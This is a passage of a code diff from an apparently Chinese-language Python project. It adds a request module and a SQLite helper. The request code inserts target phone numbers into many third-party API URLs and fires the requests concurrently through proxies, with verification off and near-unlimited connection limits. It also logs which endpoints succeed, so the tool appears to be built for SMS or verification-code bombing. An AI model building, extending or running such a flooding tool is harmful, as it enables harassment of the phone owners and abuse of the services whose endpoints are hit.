self.header['Referer'] = self.url # 增加 Referer
self.header = self.replace_data(self.header, phone)
if not self.header.get('Referer'):
self.header['Referer'] = self.url # 增加 Referer
self.data = self.replace_data(self.data, phone)
self.url = self.replace_data(self.url, phone)
# print(self)
return self

141
utils/req.py Normal file
View File

@@ -0,0 +1,141 @@
# encoding=utf8
# 请求的方法
import httpx
from httpx import Limits
from typing import Union, List
import asyncio
from utils import default_header_user_agent
from utils.models import API
from utils.log import logger
def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Response:
if isinstance(api.data, dict):
resp = client.request(method=api.method, json=api.data,
headers=api.header, url=api.url, timeout=10)
else:
resp = client.request(method=api.method, data=api.data,
headers=api.header, url=api.url, timeout=10)
return resp
def reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:
"""通过代理请求接口方法"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:
for ph in phone_lst:
try:
if isinstance(api, API):
api = api.handle_API(ph)
resp = reqAPI(api, client)
logger.info(f"{api.desc}-{resp.text[:30]}")
else:
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
resp = client.get(url=api, headers=default_header_user_agent())
logger.info(f"GETAPI接口-{resp.text[:30]}")
return True
except httpx.HTTPError as why:
logger.error(f"请求失败{why}")
return False
def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:
"""请求接口方法"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
with httpx.Client(headers=default_header_user_agent(), verify=False) as client:
for ph in phone_lst:
try:
if isinstance(api, API):
api = api.handle_API(ph)
resp = reqAPI(api, client)
logger.info(f"{api.desc}-{resp.text[:30]}")
else:
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
resp = client.get(url=api, headers=default_header_user_agent())
logger.info(f"GETAPI接口-{resp.text[:30]}")
return True
except httpx.HTTPError as why:
logger.error(f"请求失败{why}")
return False
async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore):
"""异步请求方法
:param:
:return:
"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
async with semaphore:
async with httpx.AsyncClient(
limits=Limits(max_connections=1000,
max_keepalive_connections=2000),
headers=default_header_user_agent(),
verify=False,
timeout=99999
) as c:
for ph in phone_lst:
try:
if isinstance(src, API):
src = src.handle_API(ph)
r = await reqAPI(src, c)
else:
# 利用元组传参安全因为元组不可修改
s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
"&amp;", "").replace('\n', '').replace('\r', ''),)
r = await c.get(*s)
return r
except httpx.HTTPError as why:
logger.error(f"异步请求失败{type(why)}")
# logger.error(f"异步请求失败{why}")
# import aiofiles
# async with aiofiles.open("error.txt","a",encoding="utf-8") as f:
# await f.write(f"{str(s[0]) if str(s[0]) else str(src)}\n")
except TypeError:
logger.error("类型错误")
except Exception as wy:
logger.exception(f"异步失败{wy}")
def callback(result):
"""异步回调函数"""
log = result.result()
if log is not None:
logger.info(f"请求结果:{log.text[:30]}")
async def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]):
tasks = []
for api in apis:
semaphore = asyncio.Semaphore(999999)
task = asyncio.ensure_future(asyncReqs(api, phone, semaphore))
task.add_done_callback(callback)
tasks.append(task)
await asyncio.gather(
*tasks
)

65
utils/sql.py Normal file
View File

@@ -0,0 +1,65 @@
# encoding=utf8
# 读写sqlite数据库
from pathlib import Path
from utils.log import logger
import sqlite3
class Sql(object):
"""处理SQL数据"""
def __init__(self, db_path: Path) -> None:
'''初始化数据库'''
# 数据库路径
# db_path = Path.cwd().joinpath("api.db")
# 连接数据库,不检查是否在同一个线程.
self.client = sqlite3.connect(
db_path, timeout=6, check_same_thread=False)
self.cursor = self.client.cursor()
self.newTable()
def newTable(self):
'''初始化表结构'''
sql = '''
CREATE TABLE IF NOT EXISTS API200 (
id INT NULL,
url TEXT NOT NULL,
primary key (url)
);
'''
self.cursor.execute(sql)
self.client.commit()
def update(self, url):
'''插入数据'''
sql = '''
INSERT INTO API200 (ID,url) VALUES (null,?)
'''
try:
self.cursor.execute(sql, (url,))
self.client.commit()
logger.success("插入成功!")
return True
except sqlite3.IntegrityError:
logger.error(f"数据重复!")
return False
def select(self) -> list:
'''获取所有接口'''
sql = '''
SELECT url FROM API200;
'''
try:
self.cursor.execute(sql)
result = self.cursor.fetchall()
urls = []
for url in result:
urls.append(url[0])
return urls
except Exception as e:
logger.error('读取出现错误!', e)
def __del__(self) -> None:
'''对象被删除时执行的函数'''
logger.info(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......")
self.client.close()